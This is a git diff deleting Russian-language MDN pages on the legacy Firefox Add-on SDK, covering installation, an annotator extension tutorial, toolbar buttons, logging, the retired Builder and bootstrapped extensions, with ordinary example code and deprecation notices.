-
Получение доступа к объекту Components, позволит вашему дополнению загружать и использовать любой объект XPCOM.
-
Создание целей события
-
Включение объектов вашего определения для выпуска собственных событий.
-
-
- -
-
-
Отслеживание загрузки и выгрузки
-
Получение уведомлений, когда Firefox загрузил или выгрузил ваше дополнение и передача аргументов вашему дополнению из командной строки.
-
Использование сторонних модулей
-
Установка и использование дополнительных модулей не входящих в SDK.
-
Локализация
-
Написание локализуемого кода.
-
Мобильная разработка
-
Разработка дополнений для Firefox Mobile на Android.
-
Отладчик дополнения
-
Отладка JavaScript вашего дополнения.
-
-
-
- -
-

Объединение

- -
-
-
-
Аннотация дополнения
-
Пошаговое руководство относительно сложного дополнения.
-
-
-
- -

 

diff --git a/files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html b/files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html deleted file mode 100644 index 48b8923923..0000000000 --- a/files/ru/mozilla/add-ons/sdk/tutorials/installation/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Installation -slug: Mozilla/Add-ons/SDK/Tutorials/Installation -translation_of: Mozilla/Add-ons/SDK/Tools/jpm#Installation ---- -

Prerequisites

-

To develop with the Add-on SDK, you'll need:

- -

Alternatively, if you use Firefox Nightly, you can get the latest development version from its GitHub repository.

-

Installation on Mac OS X / Linux

-

Extract the file contents wherever you choose, and navigate to the root directory of the SDK with a shell/command prompt. For example:

-
tar -xf addon-sdk.tar.gz
-cd addon-sdk
-
-

Then run if you're a Bash user (most people are):

-
source bin/activate
-
-

And if you're a non-Bash user, you should run:

-
bash bin/activate
-
-

Your command prompt should now have a new prefix containing the name of the SDK's root directory:

-
(addon-sdk)~/mozilla/addon-sdk >
-
-

Installation on Mac using Homebrew

-

If you're a Mac user, you can instead choose to use Homebrew to install the SDK, using the following command:

-
brew install mozilla-addon-sdk
-

Once this has completed successfully, you can use the cfx program at your command line at any time: you don't need to run bin/activate.

-

Installation on Windows

-

Extract the file contents wherever you choose, and navigate to the root directory of the SDK with a shell/command prompt. For example:

-
7z.exe x addon-sdk.zip
-cd addon-sdk
-
-

Then run:

-
bin\activate
-
-

Your command prompt should now have a new prefix containing the full path to the SDK's root directory:

-
(C:\Users\mozilla\sdk\addon-sdk) C:\Users\Work\sdk\addon-sdk>
-
-

activate

-

The activate command sets some environment variables that are needed for the SDK. It sets the variables for the current command prompt only. If you open a new command prompt, the SDK will not be active in the new prompt. until you type activate again.

-

This means that you can have multiple copies of the SDK in different locations on disk and switch between them, or even have them both activated in different command prompts at the same time.

-

Making activate permanent

-

By setting these variables permanently in your environment so every new command prompt reads them, you can make activation permanent. Then you don't need to type activate every time you open up a new command prompt.

-

Because the exact set of variables may change with new releases of the SDK, it's best to refer to the activation scripts to determine which variables need to be set. Activation uses different scripts and sets different variables for bash environments (Linux and Mac OS X) and for Windows environments.

-

Windows

-

On Windows, bin\activate uses activate.bat, and you can make activation permanent using the command line setx tool or the Control Panel.

-

Linux/Mac OS X

-

On Linux and Mac OS X, source bin/activate uses the activate bash script, and you can make activation permanent using your ~/.bashrc (on Linux) or ~/.bashprofile (on Mac OS X).

-

As an alternative to this, you can create a symbolic link to the cfx program in your ~/bin directory:

-
ln -s PATH_TO_SDK/bin/cfx ~/bin/cfx
-
-

If you used Homebrew to install the SDK, the environment variables are already set permanently for you.

-

Sanity check

-

Run this at your shell prompt:

-
cfx
-
-

It should produce output whose first line looks something like this, followed by many lines of usage information:

-
Usage: cfx [options] [command]
-
-

This is the cfx command-line program. It's your primary interface to the Add-on SDK. You use it to launch Firefox and test your add-on, package your add-on for distribution, view documentation, and run unit tests.

-

Problems?

-

Try the Troubleshooting page.

-

Next Steps

-

Next, take a look at the Getting Started With cfx tutorial, which explains how to create add-ons using the cfx tool.

diff --git "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/creating_annotations/index.html" "b/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/creating_annotations/index.html" deleted file mode 100644 index 07cecddaf5..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/creating_annotations/index.html" +++ /dev/null @@ -1,221 +0,0 @@ ---- -title: Добавление заметок -slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор/Creating_annotations -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator/Creating_annotations ---- -

Мы будем использовать два объекта для создания заметок: модификатор страницы - чтобы найти элементы, для которых пользователь может оставить заметку и панель для ввода текста заметки.

-

Селектор модификации страницы

-

Селектор контент-скриптов

-

Контент-скрипт для селекторамодификации страницы будет ипользовать jQuery для поиска элементов и манипуляций над ними.

-

Эго главная задача - обработка "подходящего элемента": это элемент страницы, который подходит для добавления заметки на него. Подходящий элемент будет подсвечен и будет иметь обработчик событий, который будет отправлять сообщения основному коду расширения.

-

Селектор модификации страницы может быть активирован или деактивирован используя сообщение от основного кода расширения. По-умолчанию он деактивирован:

-
var matchedElement = null;
-var originalBgColor = null;
-var active = false;
-
-function resetMatchedElement() {
-  if (matchedElement) {
-    (matchedElement).css('background-color', originalBgColor);
-    (matchedElement).unbind('click.annotator');
-  }
-}
-
-self.on('message', function onMessage(activation) {
-  active = activation;
-  if (!active) {
-    resetMatchedElement();
-  }
-});
-

Данный селектор ожидает вхождения события jQuery mouseenter.

-

 When a mouseenter event is triggered the selector checks whether the element is eligible for annotation. An element is eligible if it, or one of its ancestors in the DOM tree, has an attribute named "id". The idea here is to make it more likely that the annotator will be able to identify annotated elements correctly later on.

-

If the page element is eligible for annotation, then the selector highlights that element and binds a click handler to it. The click handler sends a message called show back to the main add-on code. The show message contains: the URL for the page, the ID attribute value, and the text content of the page element.

-
$('*').mouseenter(function() {
-  if (!active || $(this).hasClass('annotated')) {
-    return;
-  }
-  resetMatchedElement();
-  ancestor = $(this).closest("[id]");
-  matchedElement = $(this).first();
-  originalBgColor = $(matchedElement).css('background-color');
-  $(matchedElement).css('background-color', 'yellow');
-  $(matchedElement).bind('click.annotator', function(event) {
-    event.stopPropagation();
-    event.preventDefault();
-    self.port.emit('show',
-      [
-        document.location.toString(),
-        $(ancestor).attr("id"),
-        $(matchedElement).text()
-      ]
-   );
-  });
-});
-

Conversely, the add-on resets the matched element on mouseout:

-
$('*').mouseout(function() {
-  resetMatchedElement();
-});
-

Save this code in a new file called selector.js in your add-on's data directory.

-

Because this code uses jQuery, you'll need to download that as well, and save it in data.

-

Updating main.js

-

Go back to main.js and add the code to create the selector into the main function:

-
var selector = pageMod.PageMod({
-  include: ['*'],
-  contentScriptWhen: 'ready',
-  contentScriptFile: [data.url('jquery-1.4.2.min.js'),
-                      data.url('selector.js')],
-  onAttach: function(worker) {
-    worker.postMessage(annotatorIsOn);
-    selectors.push(worker);
-    worker.port.on('show', function(data) {
-      console.log(data);
-    });
-    worker.on('detach', function () {
-      detachWorker(this, selectors);
-    });
-  }
-});
-

Make sure the name you use to load jQuery matches the name of the jQuery version you downloaded.

-

The page-mod matches all pages, so each time the user loads a page the page-mod emits the attach event, which will call the listener function we've assigned to onAttach. The handler is passed a worker object. Each worker represents a channel of communication between the add-on code and any content scripts running in that particular page context. For a more detailed discussion of the way page-mod uses workers, see the page-mod documentation.

-

In the attach handler we do three things:

- -

At the top of the file import the page-mod module and declare an array for the workers:

-
var pageMod = require('sdk/page-mod');
-var selectors = [];
-

Add detachWorker:

-
function detachWorker(worker, workerArray) {
-  var index = workerArray.indexOf(worker);
-  if(index != -1) {
-    workerArray.splice(index, 1);
-  }
-}
-

Edit toggleActivation to notify the workers of a change in activation state:

-
function activateSelectors() {
-  selectors.forEach(
-    function (selector) {
-      selector.postMessage(annotatorIsOn);
-  });
-}
-
-function toggleActivation() {
-  annotatorIsOn = !annotatorIsOn;
-  activateSelectors();
-  return annotatorIsOn;
-}
-

We'll be using this URL in all our screenshots. Because cfx run doesn't preserve browsing history, if you want to play along it's worth taking a note of the URL.

-

Save the file and execute cfx run again. Activate the annotator by clicking the widget and load a page: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ overview-amo-review-process/. You should see the highlight appearing when you move the mouse over certain elements:

-

Click on the highlight and you should see something like this in the console output:

-
  info: show
-  info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/,
-  post-2249,When you submit a new add-on, you will have to choose between 2
-  review tracks: Full Review and Preliminary Review.
-
-

Annotation Editor Panel

-

So far we have a page-mod that can highlight elements and send information about them to the main add-on code. Next we will create the editor panel, which enables the user to enter an annotation associated with the selected element.

-

We will supply the panel's content as an HTML file, and will also supply a content script to execute in the panel's context.

-

So create a subdirectory under data called editor. This will contain two files: the HTML content, and the content script.

-

Annotation Editor HTML

-

The HTML is very simple:

-
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
-<head>
-  <title>Annotation</title>
-  <style type="text/css" media="all">
-  body {
-    font: 100% arial, helvetica, sans-serif;
-    background-color: #F5F5F5;
-  }
-  textarea {
-    width: 180px;
-    height: 180px;
-    margin: 10px;
-    padding: 0px;
-  }
-  </style>
-
-</head>
-
-<body>
-
-<textarea rows='10' cols='20' id='annotation-box'>
-</textarea>
-
-</body>
-
-</html>
-

Save this inside data/editor as annotation-editor.html.

-

Annotation Editor Content Script

-

In the corresponding content script we do two things:

- -

Here's the code:

-
var textArea = document.getElementById('annotation-box');
-
-textArea.onkeyup = function(event) {
-  if (event.keyCode == 13) {
-    self.postMessage(textArea.value);
-    textArea.value = '';
-  }
-};
-
-self.on('message', function() {
-  var textArea = document.getElementById('annotation-box');
-  textArea.value = '';
-  textArea.focus();
-});
-

Save this inside data/editor as annotation-editor.js.

-

Updating main.js Again

-

Now we'll update main.js again to create the editor and use it.

-

First, import the panel module:

-
var panels = require('sdk/panel');
-

Then add the following code to the main function:

-
var annotationEditor = panels.Panel({
-  width: 220,
-  height: 220,
-  contentURL: data.url('editor/annotation-editor.html'),
-  contentScriptFile: data.url('editor/annotation-editor.js'),
-  onMessage: function(annotationText) {
-    if (annotationText) {
-      console.log(this.annotationAnchor);
-      console.log(annotationText);
-    }
-    annotationEditor.hide();
-  },
-  onShow: function() {
-    this.postMessage('focus');
-  }
-});
-

We create the editor panel but don't show it. We will send the editor panel the focus message when it is shown, so it will give the text area focus. When the editor panel sends us its message we log the message and hide the panel.

-

The only thing left is to link the editor to the selector. So edit the message handler assigned to the selector so that on receiving the show message we assign the content of the message to the panel using a new property "annotationAnchor", and show the panel:

-
var selector = pageMod.PageMod({
-  include: ['*'],
-  contentScriptWhen: 'ready',
-  contentScriptFile: [data.url('jquery-1.4.2.min.js'),
-                      data.url('selector.js')],
-  onAttach: function(worker) {
-    worker.postMessage(annotatorIsOn);
-    selectors.push(worker);
-    worker.port.on('show', function(data) {
-      annotationEditor.annotationAnchor = data;
-      annotationEditor.show();
-    });
-    worker.on('detach', function () {
-      detachWorker(this, selectors);
-    });
-  }
-});
-

Execute cfx run again, activate the annotator, move your mouse over an element and click the element when it is highlighted. You should see a panel with a text area for a note:

-

Enter the note and press the return key: you should see console output like this:

-
  info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/,
-  post-2249,When you submit a new add-on, you will have to choose between 2
-  review tracks: Full Review and Preliminary Review.
-  info: We should ask for Full Review if possible.
-
-

That's a complete annotation, and in the next section we'll deal with storing it.

diff --git "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/implementing_the_widget/index.html" "b/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/implementing_the_widget/index.html" deleted file mode 100644 index ef43991658..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/implementing_the_widget/index.html" +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Реализация Виджета -slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор/Implementing_the_widget -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator/Implementing_the_widget ---- -

Мы хотим, чтобы виджет выполнял две вещи:

- -

Так как событие click не различает левую и правую кнопки мыши, мы будем использовать контент-скрипт для захвата событий клика мышью и отправлять соответствующее сообщение назад, нашему расширению.

-

Виджет должен иметь две иконки: одна для активного состояния, вторая для неактивного.

-

В итоге нам понадобится создать три файла: контент-скрипт для Виджета и две иконки.

-

Внутри папки data создайте папку с именем widget. В этой папке мы будем хранить файлы Виджета. (Вам не обязательно создавать отдельную папку, можете просто хранить файлы Виджета в папке data. Но в нашем случае, расширение будет хорошо структурировано.)

-

Контент-скрипт Виджета

-

Контент-скрипт Виджета просто следит за нажатиями левой и правой кнопок мыши и отправляет соответствующее сообщение коду расширения:

-
this.addEventListener('click', function(event) {
-  if(event.button == 0 && event.shiftKey == false)
-    self.port.emit('left-click');
-
-  if(event.button == 2 || (event.button == 0 && event.shiftKey == true))
-    self.port.emit('right-click');
-    event.preventDefault();
-}, true);
-

Сохраните этот файл в папку data/widget под названием widget.js.

-

Иконки Виджета

-

Вы можете скопировать эти иконки:

-

-

(Вы также можете создать свои собственные иконки, если чуствуете, что вас поситила муза.) Сохраните их в папку data/widget.

-

main.js

-

Теперь, в папке lib откройте main.js и добавьте следующий код:

-
var widgets = require('sdk/widget');
-var data = require('sdk/self').data;
-
-var annotatorIsOn = false;
-
-function toggleActivation() {
-  annotatorIsOn = !annotatorIsOn;
-  return annotatorIsOn;
-}
-
-exports.main = function() {
-
-  var widget = widgets.Widget({
-    id: 'toggle-switch',
-    label: 'Annotator',
-    contentURL: data.url('widget/pencil-off.png'),
-    contentScriptWhen: 'ready',
-    contentScriptFile: data.url('widget/widget.js')
-  });
-
-  widget.port.on('left-click', function() {
-    console.log('activate/deactivate');
-    widget.contentURL = toggleActivation() ?
-              data.url('widget/pencil-on.png') :
-              data.url('widget/pencil-off.png');
-  });
-
-  widget.port.on('right-click', function() {
-      console.log('show annotation list');
-  });
-}
-

Аннотатор по-умолчанию отключен. Этот скрипт создает Виджет и реагирует на сообщения контент-скрипта, путем переключения состояния Виджета. Внимание: согласно багу bug 626326, контекстное меню панели дополнений будет отображаться вне зависимости от вызова event.preventDefault() в контент-скрипте Виджета. Так как мы пока не имеем кода для отображения заметок, мы просто выведем в консоль событие нажатия правой кнопки.

-

Теперь, перейдя в папку annotator выполните команду cfx run. Вы должны увидеть Виджет в панели дополнений:

-

-

Левый и правый клики должы выводить соответсвующие сообщения в консоль, и левый клик также должен менять иконку для отображения состояния активности Виджета.

-

 

-

Далее мы добавим реализацию функции создания аннотаций.

diff --git "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/index.html" "b/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/index.html" deleted file mode 100644 index eab37823c0..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/index.html" +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Комментатор -slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator ---- -

{{AddonSidebar}}

- -
-

Запрещено в Firefox 29 и удалено в Firefox 38.

- -

Предупреждение: это руководство пологается на впоследствии удалённый Widget API и больше не работает с Firefox.

- -

The widget API is deprecated from Firefox 29 onwards. Please see the ui module for replacements. In particular, for a simple button, try the action button or toggle button APIs, and for a more complex widget try the toolbar or sidebar APIs.

-
- -

В этом уроке мы создадим расширение, которое использует множество различных компонентов высокоуровнего API.

- -

Это расширение (Аннотатор) позволит пользователю выделять элементы веб-страниц и добавлять к ним заметки (аннотации). Аннотатор будет сохранять заметки, добавленные пользователем. Когда пользователь посещает веб-страницу, содержащую элементы с прикрепленными к ним заметками - эти элементы подсвечиваются. Если пользователь наведет курсор на такой элемент страницы, то будет отображена заметка, ассоциированная с этим элементом.

- -

Далее мы кратко рассмотрим архитектуру Аннотатора и поэтапно пройдемся по реализации разных частей расширения.

- -

Завершенное расширение вы можете найти в папке examples из SDK.

- - diff --git "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/overview/index.html" "b/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/overview/index.html" deleted file mode 100644 index 08e4713b33..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\260\320\275\320\275\320\276\321\202\320\260\321\202\320\276\321\200/overview/index.html" +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: Краткий обзор -slug: Mozilla/Add-ons/SDK/Tutorials/Аннотатор/Overview -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Annotator/Overview ---- -

Аннотатор использует контент-скрипты для реализации пользовательских интерфейсов, получения ввода, и для работы со страницами, посещаемыми пользователем.

-

Модуль main содержит логику приложения и производит операции между различными объектами SDK.

-

Операции между модулем main и различными контент-скриптами можно изобразить следующим образом:

-

-

Пользовательский интерфейс

-

Основной пользовательский интерфейс состоит из Виджета и трех панелей:

- -

В дополнении, мы будем использовать модуль Оповещений (notifications), чтобы сообщать пользователю, когда в хранилище закончилось свободное место.

-

Работаем с DOM

-

Мы будем использовать два объекта page-mods для произведения операций над DOM веб-страниц, которые посещает пользователь:

- -

Обработка данных

-

Мы будем использовать модуль simple-storage для хранения заметок.

-

Поскольку мы сохраняем потенциально секретную информацию, мы хотим оградить пользователя от создания заметок в приватном режиме браузера. Простейший способ решения этой проблемы, это удаление ключа "private-browsing" из файла "package.json" расширения. Если мы удалим этот ключ, то расширение не получит доступ к окнам в режиме приватного просмотра и Виджет Аннотатора не будет отображаться в приватных окнах.

-

Приступаем к работе

-

Давайте начнем с создания папки, с именем "annotator". Перейдите в эту папку и введите cfx init.

-

Далее мы разработаем Виджет.

diff --git "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\272\320\270_\320\275\320\260_\320\277\320\260\320\275\320\265\320\273\321\214_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262/index.html" "b/files/ru/mozilla/add-ons/sdk/tutorials/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\272\320\270_\320\275\320\260_\320\277\320\260\320\275\320\265\320\273\321\214_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262/index.html" deleted file mode 100644 index 7b6e8bf507..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\272\320\270_\320\275\320\260_\320\277\320\260\320\275\320\265\320\273\321\214_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262/index.html" +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: Добавление кнопки на панель инструментов -slug: Mozilla/Add-ons/SDK/Tutorials/Добавление_кнопки_на_панель_инструментов -tags: - - Add-on SDK - - Дополнение -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Adding_a_Button_to_the_Toolbar ---- -
-

Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.

-
- -

{{LegacyAddonsNotice}}{{AddonSidebar}}

- -
-

Для понимания этого руководства необходимо изучить статью basics of jpm (основы jpm).

-
- -

Для добавления кнопки на панель инструментов (toolbar, тулбар) используются модули action button или toggle button.

- -

Создайте новую папку, перейдите в неё и запустите jpm init, приняв всё по умолчанию.

- -

Создайте папку "data"

- -
mkdir data
- -

и сохраните три файла иконок в этой папке:

- - - - - - - - - - - - - - - - -
icon-16.png
icon-32.png
icon-64.png
- -

После, откройте файл "index.js", расположенный в корне каталога дополнения, и допишите этот код:

- -
var buttons = require('sdk/ui/button/action');
-var tabs = require("sdk/tabs");
-
-var button = buttons.ActionButton({
-  id: "mozilla-link",
-  label: "Visit Mozilla",
-  icon: {
-    "16": "./icon-16.png",
-    "32": "./icon-32.png",
-    "64": "./icon-64.png"
-  },
-  onClick: handleClick
-});
-
-function handleClick(state) {
-  tabs.open("https://www.mozilla.org/");
-}
- -

Запустите дополнение через jpm run. Кнопка будет добавлена на тулбар (ищите сверху в окне браузера):

- -

Вы не сможете установить место первоначального появления кнопки, но пользователь сможет её переместить, используя настройки браузера. Атрибут id является обязательным. Он используется, в частности, для запоминания позиции кнопки на панели, поэтому в следующих версиях своего дополнения вы его не сможете изменить.

- -

Нажатие кнопки откроет в новой вкладке сайт https://www.mozilla.org/ .

- -

Задание иконки

- -

Свойство icon может содержать одну иконку или набор (различных размеров, как в примере выше). Если указать набор иконок разных размеров, то браузер будет автоматически выбирать размер в зависимости от разрешения экрана и расположения на экране. Более подробная информация о иконках.

- -

Файл с иконкой должен быть внутри дополнения. Недопустимы ссылки на внешние фалы.

- -

Вы можете изменить иконку в любое время через установку свойства icon кнопки. Также можно изменить иконку и другие свойства состояния глобально для окна брайзера или только для вкладки. Узнать об этом можно в статье.

- -

Привязка панели

- -

Если необходимо привязать к кнопке панель, то используйте toggle button API. Этот API такой же как action button API, кроме того, что добавлено булево свтйство checked, которое переключается, когда нажимается конпка.  Для связи в панелью нужнопередать кнопку в функцию show() панели. Для уточнения деталей, изучите документацию toggle button's documentation.

- -

Вывод сложного контента

- -

Для созлания более сложного пользовательского интерфейса, чем доступен через кнопку, используйте toolbar API. С этим API вы получите доступ к полным гризонтальным полосам тулбара. Можно добавлять кнопки на панель, и фреймы (frames), которые могут содержать HTML, CSS и JavaScript.

- -

Материал для изучения

- - diff --git "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" "b/files/ru/mozilla/add-ons/sdk/tutorials/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" deleted file mode 100644 index d0ab8d6f79..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/tutorials/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265/index.html" +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Протоколирование (Логирование) -slug: Mozilla/Add-ons/SDK/Tutorials/Протоколирование -tags: - - Логирование - - Протоколирование -translation_of: Archive/Add-ons/Add-on_SDK/Tutorials/Logging ---- -
-

Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.

-
- -

{{LegacyAddonsNotice}}{{AddonSidebar}}

- -
Перед использованием, вам нужно изучить основы jpm.
- -

Консоль для DOM-объекта полезна для отладки JavaScript. Так как DOM-объекты недоступны для главного кода дополнения (add-on), то SDK предоставляет свой собственный глобальный объект "консоль" (console) с большинством таких же методов, как и у DOM-консоли, включая методы для протоколирвоания ошибок (error), предупреждений (warning) или информационных сообщений. Для доступа к консоли не нужно получать что-либо, используя require(). Она уже доступна автоматически.

- -

Метод console.log() выводит информационное сообщение:

- -
console.log("Hello World");
-
- -

Попробуйте:

- - - -

Firefox запустится, и в терминале, где вы ввели jpm run, появится следующая строка:

- -
info: Hello World!
-
- -

Консоль в скриптах Content Scripts

- -

Вы можете использовать консоль в скриптах content scripts так же, как и вашем главном коде дополнения. Следующий аддон (add-on) выведет в лог HTML-содержимое каждой закладки, загруженной пользователем, используя console.log() изнутри скрипта content script:

- -
require("sdk/tabs").on("ready", function(tab) {
-  tab.attach({
-    contentScript: "console.log(document.body.innerHTML);"
-  });
-});
-
- -

Консоль Output

- -

Если вы запускаете дополнение из терминала (например, выполня jpm run или jpm test), тогда сообщения консоли появятся в этом же терминале.

- -

Если вы установили расширение в Firefox тогде сообщения появятся в консоли браузера Firefox.

- -

Но обратите внимание, что по умолчанию вызовы console.log() не отобразят ничего в Error Console для любых установленных дополнений. Это правило работает и для дополнений, установленных с использованием Add-on Builder, и для установленных с помощью утилит, таких как Extension Auto-installer.

- -

Смотрите "Уровни логирования" в справочной документации для более подробной информации.

- -

Дальнейшее изучение

- -

Полное API консоли смотри в API-справочнике.

diff --git "a/files/ru/mozilla/add-ons/sdk/\320\277\321\200\320\276\320\261\320\260/index.html" "b/files/ru/mozilla/add-ons/sdk/\320\277\321\200\320\276\320\261\320\260/index.html" deleted file mode 100644 index 987a420410..0000000000 --- "a/files/ru/mozilla/add-ons/sdk/\320\277\321\200\320\276\320\261\320\260/index.html" +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Builder -slug: Mozilla/Add-ons/SDK/проба -translation_of: Archive/Add-ons/Add-on_SDK/Builder ---- -

The Add-on Builder was a web-based development environment that allowed developers to create add-ons using the SDK APIs, but without needing to use the cfx command line tool. It was retired on April 1, 2014, and the "builder.addons.mozilla.org" domain now redirects to this page.
-
- If you have only used the SDK through the Builder, you already know most of what you need to know to develop using just the SDK. The high-level and low-level APIs used for Builder add-ons are exactly the same for Builder and SDK. To switch to the SDK:

- - diff --git "a/files/ru/mozilla/add-ons/\320\267\320\260\320\263\321\200\321\203\320\267\320\276\321\207\320\275\321\213\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" "b/files/ru/mozilla/add-ons/\320\267\320\260\320\263\321\200\321\203\320\267\320\276\321\207\320\275\321\213\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" deleted file mode 100644 index 934e40e904..0000000000 --- "a/files/ru/mozilla/add-ons/\320\267\320\260\320\263\321\200\321\203\320\267\320\276\321\207\320\275\321\213\320\265_\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" +++ /dev/null @@ -1,353 +0,0 @@ ---- -title: Загружаемые расширения -slug: Mozilla/Add-ons/загрузочные_расширения -tags: - - Bootstrapped - - Extensions - - add-on - - Дополнения -translation_of: Archive/Add-ons/Bootstrapped_extensions ---- -
-

Support for extensions using XUL/XPCOM or the Add-on SDK was removed in Firefox 57, released November 2017. As there is no supported version of Firefox enabling these technologies, this page will be removed by December 2020.

-
- -

{{LegacyAddonsNotice}}{{AddonSidebar}}

- -

{{ gecko_minversion_header("2.0") }}

- -

К традиционным расширениям относятся оверлеи (overlays), в их случае приложение может загрузить XUL из пакета расширения и автоматически применить их на верхнем слое своего UI (интерфейса пользователя). При этом создаются расширения, которые добавляются в пользовательский интерфейс относительно легко, но в этом случае обновление, установка или отмена действия расширения требуют перезагрузку приложения.

- -

Движок Gecko 2.0 {{ geckoRelease("2.0") }} вводит загружаемые расширения (bootstrapped extensions). Это специальные расширения, которые вместо использования наложения на интерфейс, сами програмно добавляют себя в приложение. Это делается запуском специального скрипта из файла, который включен в расширение и содержит функции, вызываемые браузером, для того чтобы установить, удалить, загрузить, выгрузить.

- -

Приложение делает вызовы из из этого файла со скриптом; расширение ответственно за добавление и удаление своего интерфейса пользователя и обработку любых других установок и завершения задач, которые требовались в процессе работы.

- -

Эта статья поясняет как работают загружаемые расширения. Изучите следующее руководство по преобразованию приложений-оверлеев (overlay) в приложения, не требующие перезагрузки (restartless, то есть bootstrapped), для получения пошагового руководства по переходу.

- -

The startup and shutdown process

- -

A key feature of bootstrapped extensions is that they must be able to start up and shut down on demand by the application. When the extension's startup() function is called, it must manually inject its user interface and other behavior into the application. Similarly, when its shutdown() function is called, it must remove anything that it has added to the application, as well as all references to any of its objects.

- -

There are several scenarios in which the startup() function may be called; for example:

- - - -

Some examples of when the shutdown() function may be called:

- - - -

Notes on modifying the application user interface

- -

chrome.manifest in bootstrapped add-ons

- -

You can use a chrome.manifest file in bootstrapped add-ons to:

- - - -

Not all chrome.manifest instructions are supported in bootstrapped add-ons, for example you still cannot register XUL Overlays from a bootstrapped add-on. See the chrome.manifest documentation for details.

- -

In Firefox 10 and later the chrome.manifest file located in the root of the add-on's XPI (i.e. a sibling of the install.rdf) is loaded automatically. In Firefox 8 and 9 you had to load/unload the manifest manually using {{ ifmethod("nsIComponentManager", "addBootstrappedManifestLocation") }} and {{ ifmethod("nsIComponentManager", "removeBootstrappedManifestLocation") }}. This feature was unavailable in Firefox versions before 8.

- -

Adding user interface manually

- -

If you decide to go ahead and try to develop a bootstrapped extension that modifies the application's user interface, here are a few suggestions to get you started.

- -

You need to look up the relevant application UI elements by their ID by calling {{ domxref("document.getElementById()") }}, then manipulate them to inject your UI. For example, you can get access to the menu bar in Firefox with document.getElementById("main-menubar").

- -

Be sure that at shutdown time, you remove any user interface you've added.

- -

Creating a bootstrapped extension

- -

To mark an extension as bootstrappable, you need to add the following element to its install manifest:

- -
<em:bootstrap>true</em:bootstrap>
- -

Then you need to add a bootstrap.js file that contains the required functions; this should be alongside the install.rdf file in the extension's package.

- -

Backward compatibility

- -

